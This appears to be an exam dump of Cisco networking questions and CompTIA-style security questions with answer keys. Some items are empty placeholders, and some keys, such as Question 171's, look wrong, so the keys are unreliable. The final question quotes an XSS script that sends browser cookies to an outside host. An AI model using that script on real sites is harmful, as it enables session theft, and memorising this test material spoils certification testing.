B. debug ppp negotiation
C. debug authentication pap
D. debug ppp authentication

Correct Answer: BD Section: (none) Explanation
Explanation/Reference:
QUESTION 153
When the ISAKMP negotiation begins in IKE Phase 1 main mode, ISAKMP looks for an ISAKMP policy that is the same on both peers. Which peer is responsible for matching policies?
A. The peer that initiates the negotiation sends all its policies to the remote peer, and the remote peer tries to find a match with its policies.
B. The remote peer sends all its policies to the initiating peer, and the initiating peer tries to find a match with its policies.
C. Both peers send all their policies to the other peer, and each peer tries to find a match with its policies.
D. Both peers send all their policies to the other peer, but just the initiating peer tries to find a match with its policies.

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 154
Which statement is true about payload compression?
A. Payload compression can be used in conjunction with link compression.
B. The payload compression algorithm uses Predictor or STAC to compress traffic into another data link layer such as PPP.
C. Payload compression is appropriate for virtual network services such as Frame Relay and ATM.
D. With payload compression the complete packet is compressed and the switching information in the header is not available.

Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 155
Drag Drop question
A.
B.
C.
D.

Correct Answer: Section: (none) Explanation
Explanation/Reference:
QUESTION 156
Given the above output, which statement is true?
A. An LMI is not being received from the Frame Relay switch.
B. The DLCI has been removed from the Frame Relay switch.
C. The remote router connection to the Frame Relay switch is not functioning
D. The router is configured to be a Frame Relay switch.

Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 157
What are three drawbacks to using RFC 1483/2684 bridging with ADSL? (Choose three.)
A. Bridging is inherently insecure and requires a trusted environment.
B. Bridging depends heavily on broadcasts in order to establish connectivity
C. Bridging requires expensive routing equipment because of the extensive Layer 3 overhead.
D. Bridging architecture may allow IP address hijacking.
E. Bridging, because of its ATM WAN configuration, can require considerable effort during initial troubleshooting.
F. Bridging architecture can be complex to install and maintain.

Correct Answer: ABD Section: (none) Explanation
Explanation/Reference:
QUESTION 158
Based on the above output, how many IKE policies were administratively defined?
A. 0
B. 1
C. 2
D. 3
E. 4
F. 5

Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 159
What two things will occur when r1 initiates a call to r2 and attempts to make a connection? (Choose two.)
A. Both routers will send a challenge.
B. Only r2 will send a challenge.
C. The r2 router will generate a hash value and send it to r1.
D. The PPP connection establishment will succeed.
E. The PPP connection establishment will fail.

Correct Answer: BE Section: (none) Explanation
Explanation/Reference:
QUESTION 160
How can an ISDN interface be used as a backup link for a primary interface and still use DDR to communicate with other sites?
A. By using dialer profiles
B. An ISDN interface cannot be both.
C. With the command backup interface serial 0/0 on the bri0/0 interface along with normal DDR commands.
D. With the command backup interface bri 0/0 on the physical interface and normal DDR commands on the bri0/0 interface.

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 161
Observe the exhibited output from a show isdn status command. Which statement is true?
A. There were five attempts to make calls.
B. Layer 1 is not operational
C. Layer 2 is operational.
D. The router is not exchanging frames with the ISDN switch.

Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 162
Which two of the following events will occur when the router command backup load 60 5 is used? (Choose two.)
A. The backup link activates when the primary link exceeds 60 percent of bandwidth
B. The backup link activates when the primary link exceeds 60 kbps.
C. The backup link deactivates when the primary link falls to 5 percent bandwidth.
D. The backup link deactivates when the combined load falls to 5 percent bandwidth.
E. The backup link deactivates when the combined load falls to 5 kbps.

Correct Answer: AD Section: (none) Explanation
Explanation/Reference:
QUESTION 163
How is cable broadband technology able to transmit downstream and upstream data while at the same time delivering television content?
A. The cable operator uses the VHF hyperband to transmit and receive data signals.
B. The cable operator assigns any available spectrum to data, depending on how its own television spectrum is being used.
C. The cable operator uses specific bandwidths for data signals specified by DOCSIS.
D. The cable operator places its data signals into clean areas where there is no interference from noise or other signals.

Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 164
Which two commands are used to verify and troubleshoot a PPP session? (Choose two.)
A. show interfaces
B. show PPP
C. debug PPP negotiation
D. debug PPP session
E. debug ppp dialer

Correct Answer: AC Section: (none) Explanation
Explanation/Reference:
QUESTION 165
Which type of remote-user VPN has users dial in to an Internet service provider (ISP) where an ISP-owned device establishes a secure tunnel to the users’ enterprise network?
A. client initiated VPN
B. network access server (NAS) initiated VPN
C. intranet VPN
D. extranet VPN

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 166
Which of the following statements is correct based on the Cisco router output of the show isdn status command?
Router#show isdn status Global ISDN Switchtype=basic-ni ISDN BRI0 interface dsl 0, interface ISDN Switchtype=basic-ni Layer 1 Status: ACTIVE Layer 2 Status: TEI=73, Ces=2, SAPI=0, State=TEI_ASSIGNED TEI=74, Ces=1, SAPI=0, State=TEI_ASSIGNED Layer 3 Status : 0 Active Layer 3 Call(s)
A. Layer 1, 2, and 3 status is active.
B. TEI values assigned are not a valid numbers.
C. Layers 1 and 2 status is active but Layer 3 status indicates lost connectivity.
D. Layer 1 status is active but Layer 2 status indicates lost connectivity.

Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 167
Based on the above configuration, which statement is true?
A. The backup interface will be used when traffic reaches 80 kbps on the primary interface
B. The backup interface will be disabled when the combined load on the primary and backup interfaces is less than 10%.
C. The backup interface will be disabled when the combined load on the primary and backup interfaces is less than 80 kbps.
D. The backup interface will be disabled when the load on the primary interface is less than 10%.
E. The backup interface will be disabled when the load on the primary interface is less than 80 kbps.

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 168
When radius authentication is being configured on a router, which commands will allow a user to telnet successfully into the router?
Router(config)# radius-server host 192.168.1.23 Router(config)# radius-server key CISCO Router(config)# aaa new-model
A. Router(config)# aaa authentication login AAA group radius local none Router(config)# line vty 0 4 Router(config-line)# login authentication AAA
B. Router(config)# aaa authentication login AAA group radius local none Router(config)# line vty 0 4 Router(config-line)# login authentication CISCO
C. Router(config)# aaa authentication login default group radius local none Router(config)# line vty 0 4 Router(config-line)# login authentication AAA
D. Router(config)# aaa authentication login AAA group radius local none Router(config)# line vty 0 4 Router(config-line)# login authentication default

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 169
Which two statements are true about the use of the backup load 65 10 command on a router? (Choose two.)
A. The secondary line will terminate when the load of the primary line drops to 10% of the bandwidth of the primary line.
B. The secondary line will terminate when the aggregate load of the primary and backup lines drops to 10% of the primary line bandwidth.
C. The secondary line will come up 10 seconds after traffic on the primary line reaches 65% of the bandwidth of the primary line
D. The secondary line will come up when the traffic on the primary line reaches 65% of the bandwidth of the primary line.
E. The backup interface will come up 65 seconds after the primary link goes down.
F. The secondary interface will terminate the connection 10 seconds after the primary link comes up.

Correct Answer: BD Section: (none) Explanation Explanation/Reference:
QUESTION 170
Refer to the exhibit. Which statement is true about the show frame-relay pvc output?
A. Traffic shaping is enabled.
B. The remote connection is not working correctly.
C. The local connection is not working correctly
D. LMIs are not being received

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 171
Which timer is reset to the maximum configured value every time an interesting packet is forwarded across the link?
A. wait for carrier timer
B. dialer idle timer
C. dialer enable timer
D. busy timer

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 172
lab question Please refer to Question 22, but take notice you wil use the same command in this questions, but some paramters like IP address will be different.
A.
B.
C.
D.

Correct Answer: Section: (none) Explanation
Explanation/Reference:
QUESTION 173
Given the partial IPSEC datagram, which provides both authentication and confidentiality, identify the header marked as 2.
A. AH header
B. ESP header
C. MPLS VPN header
D. SA header

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 174
Which traffic queuing method gives a low-volume traffic stream preferential service?
A. FIFO
B. Priority
C. Custom
D. Weighted Fair
E. Low Latency

Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 175
What are two advantages to the use of RFC 1483 to encapsulate IP data over ATM? (Choose two.)
A. multiprotocol support
B. inherently more secure because of the Address Resolution Protocol (ARP)
C. the CPE in bridge mode performs routing functions
D. ideal for single-user Internet access

Correct Answer: AD Section: (none) Explanation
Explanation/Reference:

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QUESTION 181
Which differences are those between IGMP Snooping and CGMP? (Choose two)
A. IGMP snooping is Cisco proprietary
B. CGMP learns subscribing MAC addresses from the router
C. CGMP learns subscribing MAC addresses by passive listening
D. IGMP snooping requires layer 3 processing

Correct Answer: BD Section: (none) Explanation
QUESTION 182
Based on the partial configuration provided in the exhibit, what additional configuration is required to allow the router to properly participate in a PIM sparse-dense mode scenario?

A. IGMP needs to be enabled on the router.
B. The RP configuration needs to be added for the router to participate in sparse mode network areas.
C. The RP configuration needs to be added for the router to participate in dense mode network areas.
D. The PIM dense-mode state, refresh interval needs to be configured.

Correct Answer: B Section: (none) Explanation
QUESTION 183
Which command sequence is a requirement for configuring the IP address of the rendezvous point (RP) located at IP address 10.10.10.1?
A. Switch(config)# ip pim rp-address 10.10.10.1
B. Switch(config)# ip igmp join-group 10.10.10.1
C. Switch(config)# ip pim accept-rp 10.10.10.1 1
D. Switch(config)# ip pim rp-candidate gigabitethernet0/2

Correct Answer: A Section: (none) Explanation
QUESTION 184
Examine the exhibit carefully. All multilayer switches are running PIM dense mode. Recipient A and Recipient B are forwarding IGMPv2 join messages to their respective multilayer switches. Which option is correct?
A. The Multicast Server is the root of the multicast tree. Switches 4 and 5 will participate in the multicast tree once pruning has taken place.
B. The Multicast Server is the root of the multicast tree. Switches 1,3,4, and 5 will participate in the multicast tree once pruning has taken place.
C. Switch 1 is the root of the multicast tree. Switches 1,3,4, and 5 will participate in the multicast tree once pruning has taken place.
D. Switch 3 is the root of the multicast tree. Switches 1,3,4, and 5 will participate in the multicast tree once pruning has taken place.

Correct Answer: B Section: (none) Explanation
QUESTION 185
Study the exhibit below. IP multicast for group address 224.1.1.1 has been enabled on all routers in the network. Hosts on Network A receive the multicast traffic. However, hosts on Network B do not. Refer to outputs presented, what will cause this problem?

A. The multicast packets are sourced from a server with an unspecified IP address.
B. Router P4S2 does not have an RP configured on the multicast network.
C. Because of RPF failure, Router P4S2 does not forward multicast packets to Network B.
D. Router P4S2 does not regard the upstream router P4S1 as a PIM neighbor.

Correct Answer: C Section: (none)
Explanation
QUESTION 186
According to the network of Layer 3 switches in the exhibit, the RPI Multicast Server only multicasts to hosts connected to multilayer switches 5 and 6. The CMU Multicast Server multicasts to hosts on multi-layer switches 1-6. Refer to the number of configuration steps involved, which way most efficiently configures the network when meeting the requirements for multicast data flow?

A. Configure each switch with PIM sparse mode.
B. Configure each switch with PIM dense mode.
C. Configure each switch with PIM sparse mode and a separate instance of PIM dense mode. Leave each multicast server as the root of its own multicast tree.
D. Configure each switch with PIM sparse-dense mode. Configure switch 3 as a rendezvous point for the RPI multicast stream.

Correct Answer: D Section: (none) Explanation QUESTION 187
You are a network technician at P4S .Study the exhibit carefully. All multilayer switches are running PIM sparse mode. Host P4SB and Host P4SF are sending IGMPv2 join messages to their respective multilayer switches. Which description is correct?

A. Switches 2 and 6 will participate in the multicast tree once pruning has taken place.
B. The multicast server is the rendezvous point of the multicast tree.
C. Switches 1, 2, 3, and 6 will participate in the multicast tree once pruning has taken place.
D. Switches 1, 2, 3, and 6 will participate in the multicast tree.

Correct Answer: D Section: (none) Explanation
QUESTION 188
You work as a network engineer at P4S, and you are tasked to configure a large Frame Relay network. The desired topology is full mesh. Assume that n represents the
number of router
endpoints in the topology. What formula should be used to determine how many PVCs to configure?

A. n*n
B. 2*n
C. 3*n
D. n*(n-1)/2

Correct Answer: D Section: (none) Explanation
QUESTION 189
Study the exhibit carefully. Which two conclusions can be derived from the debug ip igmp output? (Choose two.)

A. The IP multicast groups are 224.0.0.1, 224.0.1.40, and 239.255.0.1.
B. IP PIM RP mapping is static.
C. Router P4S-RA received an IGMP report version 1 from host 192.168.9.1.
D. The router sent an IGMP version 2 query out interface Ethernet1 at multicast address 224.0.0.1.

Correct Answer: CD Section: (none) Explanation
QUESTION 190
From the show ip eigrp topology command output, which code is the indication of a convergence problem for the associated network?
A. Active
B. Update
C. Query
D. SIA

Correct Answer: D Section: (none) Explanation
QUESTION 191
Protocol Independent Multicast (PIM) has two modes: Sparse Mode and Dense Mode. Here, we focus on the Dense Mode. Which statement correctly describes Protocol Independent Multicast Dense Mode (PIM DM) multicast routing?
A. If a port is pruned, the administrator must re-enable the port to support multicast traffic.
B. PIM DM supports shared distribution trees.
C. The (S,G) state exists in every router, regardless of the presence of an RPF interface.
D. Flooding of traffic only occurs in the beginning stages of routing. Afterwards, all necessary ports are pruned and multicast traffic is not sent across those interfaces.

Correct Answer: C Section: (none) Explanation
QUESTION 192
Which three descriptions are correct regarding the Internet Group Management Protocol (IGMP)? (Choose three.)
A. IGMP is a multicast routing protocol that makes packet-forwarding decisions independent of other routing protocols such as EIGRP.
B. IGMP is used to register individual hosts with a multicast group.
C. IGMP version 3 enables a multicast receiving host to specify to the router which sources it should forward traffic from.
D. IGMP messages are IP datagrams with a protocol value of 2, destination address of 224.0.0.2, and a TTL value of 1.

Correct Answer: BCD Section: (none) Explanation
QUESTION 193
Which two multicast IP addresses can be represented by the multicast MAC address 0100.5e0A.0A07? (Choose two.)
A. 229.138.10.7
B. 228.10.138.7
C. 228.10.10.8
D. 228.10.10.7

Correct Answer: AD Section: (none) Explanation
QUESTION 194
A P4S network administrator assigns a multicast address of 239.255.8.5 to an application running on a
device with an Ethernet MAC address of 01.b2.7d.05.f1.80.
Which Layer 2 multicast
address will be used by this device?

A. 01.00.5e.7F.08.05
B. 01.00.5e.05.f1.80
C. 01.b2.7d.05.f1.80
D. 01.b2.7d.0a.08.05

Correct Answer: A Section: (none) Explanation QUESTION 195
The IP multicast global configuration command ip pim send-rp-announce loopback0 scope 31 group-list 5 issued on multicast router RTA. What are the two results? (Choose two)
A. RTA will originate RP announcements with TTL set to 31.
B. RTA will drop all RP announcements it receives if the TTL field is greater than 31.
C. RTA will forward RP announcements provided they are within the scope of 31.
D. RTA will originate RP announcements for multicast groups that match access-list 5.

Correct Answer: AD Section: (none) Explanation
QUESTION 196
Which three statements correctly describe IP multicast configuration? (Choose three.)
A. PIM sparse mode interfaces are always added to the multicast routing table in a router.
B. PIM sparse mode and PIM sparse-dense mode require an RP on the network.
C. PIM dense mode interfaces are always added to the multicast routing table in a router.
D. PIM sparse-dense mode acts as PIM dense mode if an RP is not known.

Correct Answer: BCD Section: (none) Explanation
QUESTION 197
Internet Protocol (IP) multicast is a bandwidth-conserving technology that reduces traffic by simultaneously delivering a single stream of information to thousands of corporate recipients and homes .Which three IP multicast related statements are true? (Choose three.)
A. Multicast addresses 239.0.0.0 through 239.255.255.255 are called limited scope addresses. They are constrained to a local group or organization.
B. The multicast address 224.0.0.1 is a globally scoped address that has been reserved for the Network Time Protocol (NTP) by the IANA.
C. Multicast addresses 224.0.1.0 through 238.255.255.255 are called globally scoped addresses. They are used to multicast data between organizations and across the Internet.
D. Multicast addresses 224.0.0.0 through 224.0.0.255 are used for network protocols on local LAN segments. Because they are always transmitted with a Time to Live (TTL) of 1, they are never forwarded by a router.

Correct Answer: ACD Section: (none) Explanation
QUESTION 198
When a network client wants to join a multicast group, which type of IGMP message is transmitted?
A. host membership status
B. host membership report
C. host membership notification
D. host membership query

Correct Answer: B Section: (none) Explanation
QUESTION 199
What is the MAC address that comes from the multicast address 239.255.0.1?
A. 01-01-ef-ff-00-01
B. 10-00-ef-ff-00-01
C. 01-00-5e-7f-00-01
D. 00-00-00-7f-00-01

Correct Answer: C Section: (none) Explanation
QUESTION 200
Examine the following statements, then answer this question. When the passive-interface command is used on a router, which two routing protocols will continue to receive routing updates on an interface that is configured as passive? (Choose two.)
A. EIGRP
B. RIP
C. RIPv2
D. OSPF

Correct Answer: BC Section: (none) Explanation
QUESTION 201
The P4Spany has implemented EIGRP in its network.
Identify three characteristics of EIGRP feasible successors? (Choose three.)

A. If the successor becomes unavailable, then the feasible successor can be used immediately without recalculating for a lost route.
B. A feasible successor is selected by comparing the advertised distance of a non-successor route to the feasible distance of the best route.
C. If the advertised distance of the non-successor route is less than the feasible distance of best route, then that route is identified as a feasible successor.
D. The feasible successor can be found in the routing table.

Correct Answer: ABC Section: (none) Explanation
QUESTION 202
IP Multicast is a method of forwarding IP datagrams to a group of interested receivers. Examine the exhibit
carefully. IP multicast configuration changes have been made on several routers.
However, the IP multicast table shown in the exhibit still does not reflect the changes. What should be
done in order to display the new routing table information?
A. Issue the clear ip route * privileged EXEC command.
B. Issue the no ip mroute-cache privileged EXEC command.
C. Issue the clear ip mroute privileged EXEC command.
D. Issue the clear ip igmp group privileged EXEC command.

Correct Answer: C Section: (none) Explanation
QUESTION 203
Examine the exhibit carefully. Each router has Protocol Independent Multicast (PIM) enabled interfaces.
Based on the configuration presented on routers P4S1 and P4S2, which router
will take on the function of rendezvous point (RP) for the multicast network?
A. both routers P4S 1 and P4S 2
B. router P4S2
C. router P4S1
D. none of the routers since they are not configured with static RP

Correct Answer: B Section: (none) Explanation
QUESTION 204
Look at the exhibit below. Which two facts are important in interpreting the output of the show ip pim interface command? (Choose two.)

A. Multiaccess, multicast segments do not elect a DR.
B. Point-to-Point links do not display DR information.
C. Multiaccess segments elect a DR based on lowest IP address.
D. Multiaccess segments elect a DR based on highest IP address.

Correct Answer: BD Section: (none) Explanation
QUESTION 205
Which two statements best describe multicast protocol? (Choose two.)
A. Sparse mode uses reverse path forwarding (RPF) to prune off redundant flows.
B. Sparse mode multicast uses a pull model to send multicast traffic to where it is requested.
C. Dense mode multicast uses a push model to flood traffic throughout the network and then prunes the unwanted traffic.
D. The primary use of sparse mode multicast is for test labs and router performance testing.

Correct Answer: BC Section: (none) Explanation
QUESTION 206
If you want to allow a switch to decide which ports to forward IP multicast messages , what methods may be effective? (Choose three)
A. IGMP
B. CGMP
C. IGMP snooping
D. static assignment

Correct Answer: BCD Section: (none) Explanation QUESTION 207
Look at the following exhibit. Choose two correct statements regarding the PIM sparse mode network! (Choose two)

A. The multicast source is connected to the serial 1/4 interface.
B. The multicast source is directly connected to this router.
C. The multicast receiver is directly connected to this router.
D. The RP for this network is this router.

Correct Answer: AD Section: (none) Explanation
QUESTION 208
Study the exhibit carefully. According to the configuration in the exhibit ,which statement is correct ?

A. The rendezvous point is IP address 172.16.4.16.
B. IGMP version 2 is being used.
C. If a rendezvous point is configured, the interface cannot operate in dense mode.
D. A rendezvous point must be configured in order for the interface to operate in sparse mode.

Correct Answer: D Section: (none) Explanation
QUESTION 209
P4S uses IGMP version 2 in their IP multicast network. How is the designated querier elected in IGMPv2?
A. The first router to appear on a subnet is designated.
B. The host with the lowest MAC address on a segment is designated.
C. The router with the lowest IP address on a subnet is designated.
D. The host that responds first to the election query is designated.

Correct Answer: C Section: (none) Explanation
QUESTION 210
Study the exhibit below carefully. Switch P4S-Switch is receiving IGMP frames only on interface FastEthernet 0/3.Refer to the IGMP snooping, out of which port or ports will switch P4S-Switch forward multicast traffic?

A. all ports
B. FastEthernet 0/1, 0/2, 0/3, 0/4
C. FastEthernet 0/3
D. FastEthernet 0/1, 0/2, 0/4, 0/5, 0/6, 0/7, 0/8

Correct Answer: C Section: (none) Explanation
QUESTION 211
Which two statements correctly describe the rendezvous point (RP) in a multicast network? (Choose two.)
A. An RP is required only in networks running Protocol Independent Multicast sparse-dense mode (PIM-SDM).
B. To form the multicast distribution tree, the multicast sources register with and the receivers join the RP.
C. An RP is required only in networks running Protocol Independent Multicast dense mode (PIM DM).
D. An RP is required only in networks running Protocol Independent Multicast sparse mode (PIM SM).

Correct Answer: BD Section: (none) Explanation
QUESTION 212
In order to display the two values used in the calculation of the EIGRP metric, which show command will be used?
A. show ip eigrp neighbor
B. show protocol
C. show interface
D. show ip eigrp interface

Correct Answer: D Section: (none) Explanation
QUESTION 213
You work as a network engineer at P4S.Refer to the exhibit. Given the output of a debug ip mrouting command, which two statements are correct? (Choose two.)

A. This router P4S received an IGMP host report from a group member or a PIM join message.
B. Multicast route to 224.69.15.0/24 was added to the mroute table and created by a source directly connected to the router P4S.
C. Multicast route to 10.16.0.0/16 was added to the mroute table and created by a source directly connected to the router P4S.
D. The reverse path forwarding (RPF) for the route 224.2.0.1 failed to find the interface on which the multicast packet was received.

Correct Answer: AC Section: (none) Explanation
QUESTION 214
For the following options, which three IP multicast group concepts are correct? (Choose three.)
A. A router must be a member of a multicast group to receive multicast data.
B. A router does not have to be a member of a multicast group to receive multicast data.
C. If a packet is sent to a multicast group address, the multicast frame contains the source multicast address.
D. A router does not have to be a member of a multicast group to send to the group.
E. If a packet is sent to a multicast group address, all members of the multicast group will receive it.

Correct Answer: ADE Section: (none) Explanation
QUESTION 215
Which three IP multicast address related descriptions are correct? (Choose three.)
A. Multicast addresses 224.0.0.0 through 224.0.0.255 are always forwarded because they are transmitted with Time to Live (TTL) greater than 1.
B. Multicast addresses 224.0.0.13 and 224.0.0.22 are reserved link-local addresses used by PIMv2 and IGMPv3.
C. Multicast address 224.0.1.1 has been reserved for the Network Time Protocol (NTP) by the IANA.
D. The administratively scoped multicast addresses 239.0.0.0 through 239.255.255.255 are similar in purpose to RFC 1918 private unicast addresses.

Correct Answer: BCD Section: (none) Explanation

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QUESTION 1
Which of the following attacks does Unicast Reverse Path Forwarding prevent?
A. Man in the Middle
B. ARP poisoning
C. Broadcast storm
D. IP Spoofing

Correct Answer: D QUESTION 2
Which of the following authentication types is used primarily to authenticate users through the use of tickets?
A. LDAP
B. RADIUS
C. TACACS+
D. Kerberos Correct Answer: D QUESTION 3
A security consultant is evaluating forms which will be used on a company website. Which of the following techniques or terms is MOST effective at preventing malicious individuals from successfully exploiting programming flaws in the website?
A. Anti-spam software
B. Application sandboxing
C. Data loss prevention
D. Input validation Correct Answer: D QUESTION 4
A security audit has uncovered that some of the encryption keys used to secure the company B2B financial transactions with its partners may be too weak. The security administrator needs to implement a process to ensure that financial transactions will not be compromised if a weak encryption key is found. Which of the following should the security administrator implement?
A. Entropy should be enabled on all SSLv2 transactions.
B. AES256-CBC should be implemented for all encrypted data.
C. PFS should be implemented on all VPN tunnels.
D. PFS should be implemented on all SSH connections.

Correct Answer: C QUESTION 5
A company provides on-demand virtual computing for a sensitive project. The company implements a fully virtualized datacenter and terminal server access with two-factor authentication for access to sensitive data. The security administrator at the company has uncovered a breach in data confidentiality. Sensitive data was found on a hidden directory within the hypervisor. Which of the following has MOST likely occurred?
A. A stolen two factor token and a memory mapping RAM exploit were used to move data from one virtual guest to an unauthorized similar token.
B. An employee with administrative access to the virtual guests was able to dump the guest memory onto their mapped disk.
C. A host server was left un-patched and an attacker was able to use a VMEscape attack to gain unauthorized access.
D. A virtual guest was left un-patched and an attacker was able to use a privilege escalation attack to gain unauthorized access. Correct Answer: C QUESTION 6
Company XYZ provides residential television cable service across a large region. The company’s board of directors is in the process of approving a deal with the following three companies:
A National landline telephone provider

A Regional wireless telephone provider

An international Internet service provider
The board of directors at Company XYZ wants to keep the companies and billing separated.
While the Chief Information Officer (CIO) at Company XYZ is concerned about the confidentiality of Company XYZ’s customer data and wants to share only minimal information about its customers for the purpose of accounting, billing, and customer authentication.
The proposed solution must use open standards and must make it simple and seamless for Company XYZ’s customers to receive all four services.
Which of the following solutions is BEST suited for this scenario?
A. All four companies must implement a TACACS+ web based single sign-on solution with associated captive portal technology.
B. Company XYZ must implement VPN and strict access control to allow the other three companies to access the internal LDAP.
C. Company XYZ needs to install the SP, while the partner companies need to install the WAYF portion of a Federated identity solution.
D. Company XYZ needs to install the IdP, while the partner companies need to install the SP portion of a Federated identity solution. Correct Answer: D QUESTION 7
The security administrator at a bank is receiving numerous reports that customers are unable to login to the bank website. Upon further investigation, the security administrator discovers that the name associated with the bank website points to an unauthorized IP address.
Which of the following solutions will MOST likely mitigate this type of attack?
A. Security awareness and user training
B. Recursive DNS from the root servers
C. Configuring and deploying TSIG
D. Firewalls and IDS technologies

Correct Answer: C QUESTION 8
A security administrator has finished building a Linux server which will host multiple virtual machines through hypervisor technology. Management of the Linux server, including monitoring server performance, is achieved through a third party web enabled application installed on the Linux server. The security administrator is concerned about vulnerabilities in the web application that may allow an attacker to retrieve data from the virtual machines.
Which of the following will BEST protect the data on the virtual machines from an attack?
A. The security administrator must install the third party web enabled application in a chroot environment.
B. The security administrator must install a software firewall on both the Linux server and the virtual machines.
C. The security administrator must install anti-virus software on both the Linux server and the virtual machines.
D. The security administrator must install the data exfiltration detection software on the perimeter firewall. Correct Answer: A QUESTION 9
A breach at a government agency resulted in the public release of top secret information. The Chief Information Security Officer has tasked a group of security professionals to deploy a system which will protect against such breaches in the future.
Which of the following can the government agency deploy to meet future security needs?
A. A DAC which enforces no read-up, a DAC which enforces no write-down, and a MAC which uses an access matrix.
B. A MAC which enforces no write-up, a MAC which enforces no read-down, and a DAC which uses an ACL.
C. A MAC which enforces no read-up, a MAC which enforces no write-down, and a DAC which uses an access matrix.
D. A DAC which enforces no write-up, a DAC which enforces no read-down, and a MAC which uses an ACL. Correct Answer: C QUESTION 10
The internal auditor at Company ABC has completed the annual audit of the company’s financial system. The audit report indicates that the accounts receivable department has not followed proper record disposal procedures during a COOP/BCP tabletop exercise involving manual processing of financial transactions.
Which of the following should be the Information Security Officer’s (ISO’s) recommendation? (Select TWO).
A. Wait for the external audit results
B. Perform another COOP exercise
C. Implement mandatory training
D. Destroy the financial transactions
E. Review company procedures

Correct Answer: CE QUESTION 11
Company ABC has recently completed the connection of its network to a national high speed private research network. Local businesses in the area are seeking sponsorship from Company ABC to connect to the high speed research network by directly connecting through Company ABC’s network. Company ABC’s Chief Information Officer (CIO) believes that this is an opportunity to increase revenues and visibility for the company, as well as promote research and development in the area.
Which of the following must Company ABC require of its sponsored partners in order to document the technical security requirements of the connection?
A. SLA
B. ISA
C. NDA
D. BPA

Correct Answer: B QUESTION 12
A security analyst at Company A has been trying to convince the Information Security Officer (ISO) to allocate budget towards the purchase of a new intrusion prevention system (IPS) capable of analyzing encrypted web transactions.
Which of the following should the analyst provide to the ISO to support the request? (Select TWO).
A. Emerging threat reports
B. Company attack tends
C. Request for Quote (RFQ)
D. Best practices
E. New technologies report Correct Answer: AB QUESTION 13
The IT department of a pharmaceutical research company is considering whether the company should allow or block access to social media websites during lunch time. The company is considering the possibility of allowing access only through the company’s guest wireless network, which is logically separated from the internal research network. The company prohibits the use of personal devices; therefore, such access will take place from company owned laptops.
Which of the following is the HIGHEST risk to the organization?
A. Employee’s professional reputation
B. Intellectual property confidentiality loss
C. Downloaded viruses on the company laptops
D. Workstation compromise affecting availability

Correct Answer: B
QUESTION 14
A security audit has uncovered a lack of security controls with respect to employees’ network account management. Specifically, the audit reveals that employee’s network accounts are not disabled in a timely manner once an employee departs the organization. The company policy states that the network account of an employee should be disabled within eight hours of termination. However, the audit shows that 5% of the accounts were not terminated until three days after a dismissed employee departs. Furthermore, 2% of the accounts are still active. Which of the following is the BEST course of action that the security officer can take to avoid repeat audit findings?
A. Review the HR termination process and ask the software developers to review the identity management code.
B. Enforce the company policy by conducting monthly account reviews of inactive accounts.
C. Review the termination policy with the company managers to ensure prompt reporting of employee terminations.
D. Update the company policy to account for delays and unforeseen situations in account deactivation.

Correct Answer: C
QUESTION 15
Which of the following is true about an unauthenticated SAMLv2 transaction?
A. The browser asks the SP for a resource. The SP provides the browser with an XHTML format. The browser asks the IdP to validate the user, and then provides the XHTML back to the SP for access.
B. The browser asks the IdP for a resource. The IdP provides the browser with an XHTML format. The browser asks the SP to validate the user, and then provides the XHTML to the IdP for access.
C. The browser asks the IdP to validate the user. The IdP sends an XHTML form to the SP and a cookie to the browser. The browser asks for a resource to the SP, which verifies the cookie and XHTML format for access.
D. The browser asks the SP to validate the user. The SP sends an XHTML form to the IdP. The IdP provides the XHTML form back to the SP, and then the browser asks the SP for a resource.

Correct Answer: A
QUESTION 16
A company which manufactures ASICs for use in an IDS wants to ensure that the ASICs’ code is not prone to buffer and integer overflows. The ASIC technology is copyrighted and the confidentiality of the ASIC code design is exceptionally important. The company is required to conduct internal vulnerability testing as well as testing by a third party.
Which of the following should be implemented in the SDLC to achieve these requirements?
A. Regression testing by the manufacturer and integration testing by the third party
B. User acceptance testing by the manufacturer and black box testing by the third party
C. Defect testing by the manufacturer and user acceptance testing by the third party
D. White box unit testing by the manufacturer and black box testing by the third party

Correct Answer: D
QUESTION 17
The security administrator is receiving numerous alerts from the internal IDS of a possible Conficker infection spreading through the network via the Windows file sharing services. Given the size of the company which deploys over 20,000 workstations and 1,000 servers, the security engineer believes that the best course of action is to block the file sharing service across the organization by placing ACLs on the internal routers.
Which of the following should the security administrator do before applying the ACL?
A. Quickly research best practices with respect to stopping Conficker infections and implement the solution.
B. Consult with the rest of the security team and get approval on the solution by all the team members and the team manager.
C. Apply the ACL immediately since this is an emergency that could lead to a widespread data compromise.
D. Call an emergency change management meeting to ensure the ACL will not impact core business functions.

Correct Answer: D
QUESTION 18
A company currently does not use any type of authentication or authorization service for remote access. The new security policy states that all remote access must be locked down to only authorized personnel. The policy also dictates that only authorized external networks will be allowed to access certain internal resources.
Which of the following would MOST likely need to be implemented and configured on the company’s perimeter network to comply with the new security policy? (Select TWO).
A. VPN concentrator
B. Firewall
C. Proxy server
D. WAP
E. Layer 2 switch
Correct Answer: AB

QUESTION 19
Which of the following displays an example of a buffer overflow attack?
A. <SCRIPT> document.location=’http://site.comptia/cgi-bin/script.cgi?’+document.cookie </SCRIPT>
